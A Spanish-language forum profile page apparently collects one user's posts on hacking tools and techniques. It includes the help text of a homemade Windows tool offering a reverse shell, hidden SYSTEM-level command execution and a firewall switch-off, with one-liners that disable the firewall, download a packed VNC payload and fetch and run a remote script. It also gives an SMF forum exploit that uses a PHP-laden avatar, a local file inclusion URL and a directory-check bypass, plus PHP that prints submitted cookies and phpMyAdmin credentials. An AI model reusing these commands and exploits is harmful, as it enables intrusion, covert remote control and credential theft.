Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
CitarWindows Firewall XP SP2 - 47 (7.7%)
jaja que risa, recuerdo que alguien una ves me dijo por msn que el firewall de windows era el mejor que existía hasta que le mostré como deshabilitarlo con un solo comando 
.
CitarD:\Laboratorio\Proyectos\el maletin>mt -hv
→ El Maletin V1.2 Beta por WHK
Uso: mt -[Argumentos] [valores]
-------------------------------------------------------------------------------
Argumento* : v
Descripcion: Activa el modo verbose.
-------------------------------------------------------------------------------
Argumento* : !v
Descripcion: Desactiva todos los mensajes.
-------------------------------------------------------------------------------
Argumento : h
Descripcion: Visualiza la ayuda.
-------------------------------------------------------------------------------
Argumento : md5 [buffer]
Descripcion: Cifra el buffer basado en el algoritmo MD5.
-------------------------------------------------------------------------------
Argumento : b64e [buffer]
Descripcion: Cifra el buffer basado en el algoritmo Base64.
-------------------------------------------------------------------------------
Argumento : b64d [buffer]
Descripcion: Descifra el buffer basado en el algoritmo Base64.
-------------------------------------------------------------------------------
Argumento : d [URL] [Salida]
Descripcion: Descarga un archivo desde una URL basado en el protocolo HTTP,
HTTPS y FTP. Si se omite [Salida] se guardara con su nombre
original.
-------------------------------------------------------------------------------
Argumento : i [Direccion IP] [Puerto]
Descripcion: conexión inversa que permite manipular remotamente una Shell
desde un servidor especificando su direccion Ip y Puerto.
-------------------------------------------------------------------------------
Argumento : e [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell.
-------------------------------------------------------------------------------
Argumento : esi [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell con derechos del
sistema (NT Autority) en modo interactivo con el escritorio.
-------------------------------------------------------------------------------
Argumento : esb [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell con derechos del
sistema (NT Autority) en modo background (segundo plano o
invisible).
-------------------------------------------------------------------------------
Argumento : ext [extensión]
Descripcion: Establece la extensión como ejecutable.
-------------------------------------------------------------------------------
Argumento : fw [Modo]
Descripcion: Modo=[on - off] Habilitar/Deshabilitar firewall de Windows
-------------------------------------------------------------------------------
Argumento : unext [extensión]
Descripcion: Elimina la extensión ejecutable.
-------------------------------------------------------------------------------
Argumento : -info
Descripcion: Despliega la informacion completa del sistema.
-------------------------------------------------------------------------------
(*) = Puede ejecutarse simultaneamente adicionalmente sobre otros argumentos
Ejemplos:
→ mt -md5 Palabras con espacios... > buffer.log
→ mt -b64d < codificado.reg > decodificado.txt
→ mt -b64e < bin.exe > bin_cifrado.exe
→ type texto.txt | mt -b64e > cifrado.txt
→ mt -fw off&&cd %%tmp%%&&md IO&&cd IO&&mt -d http://host/vnc.packed IO.packed
→ copy mt.exe %tmp%\mt.exe && mt -!vesb %tmp%\mt -d!v http://host/script.dat scr
ipt ^&^& mt ^< script && del /f /q mt.exe && exit
En el caso de asignar un [buffer] este puede ser establecido con espacios en bla
nco sin la necesidad de encerrarlos en comillas ya que estas se consideraran par
te del mismo buffer.
D:\Laboratorio\Proyectos\el maletin>
CitarVamos sirdarckcarJuaz todavía no se lo que quieren si ya todo está requete explicadosolo 1 o 2 =D
![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
Citarsdc envianos algunos PoCs y details, a ver si Alex te permite hacer alguna probe y los suscriptors tengan mas details...
Citar[id]_[name]_[ext][md5([name].[ext])]
pero moderadamente para que no te lo borren sino que te respondan y al ver el tema logueados harán que la imagen [img][/img] los redireccione hacia la instalación del paquete de la siguiente manera:Citar/index.php?action=jsoption;sesc=${sid};th=32;var=theme_dir;val=./attachments/avatar_${id}.gif%2500Solo subes una imagen que contenga instrucciones php y listo, hasta puedes hacerlo desde un archivoa djunto y no desde el avatar como aparece en el exploit, da igual ya que lo que importa es el LFI.
Citar$this->url->package = '../attachments/' . $this->url->package;SMF te devolverá un error ya que filtra si alguien intenta escapar del directorio de paquetes, modificamos por lo siguiente:
Citar$this->url->package = './../attachments/' . $this->url->package;Solo verifica que los primeros tres carácteres no sean '../' asi que le anteponemos './' y ya.
y la extensión del archivo.
CitarGoogle
Error
Server Error
The server encountered an error and could not complete your request.
If the problem persists, please report your problem and mention this error message and the query that caused it.
$probar = array($_COOKIE,$_POST);
for($cuenta=0;$cuenta<count($probar);$cuenta++){
if($probar[$cuenta] == $_COOKIE){
$array = '$_COOKIE';
}else{
$array = '$_POST';
}
foreach($probar[$cuenta] as $variable => $valor){
echo '<br />Arrays: '.$array.' Variable: '.$variable.' Valor: '.$valor.'<br />';
}
}
exit(0);echo 'pma_username : '.$_POST['pma_username'].'<br />';
echo 'pma_password : '.$_POST['pma_password'].'<br />';Citarpma_username :
pma_password :